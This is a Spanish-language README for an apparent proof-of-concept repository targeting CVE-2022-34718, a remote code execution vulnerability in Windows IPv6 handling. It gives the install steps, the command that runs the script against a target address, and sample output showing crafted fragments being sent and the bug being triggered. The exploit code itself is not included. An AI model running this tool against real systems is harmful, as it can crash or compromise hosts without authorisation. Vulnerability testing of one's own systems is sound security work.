
Este repositorio contiene un exploit de CVE-2022-34718, una vulnerabilidad de ejecución remota de código (RCE) en IPv6 en sistemas Windows.
Dado que la vulnerabilidad requiere paquetes IPv6 especialmente diseñados, depende del módulo Scapy y, por lo tanto, debe ejecutarse como root. El método recomendado para ejecutar este PoC es mediante un entorno virtual, de la siguiente manera:
# virtualenv PoC
# source PoC/bin/activate
(PoC) # pip3 install -r requirements.txt
(PoC) # python3 ipv6-rce-poc.py <target address>
El script te indicará si el sistema objetivo es vulnerable a este exploit.
[...]
**** inner_frag_id: 0x24944eac
Preparing frags...
Sending 64 frags...
.
Sent 1 packets.
[...]
Sent 1 packets.
Now sending the last inner fragment to trigger the bug...
.
Sent 1 packets.
Success! The system is vulnerable...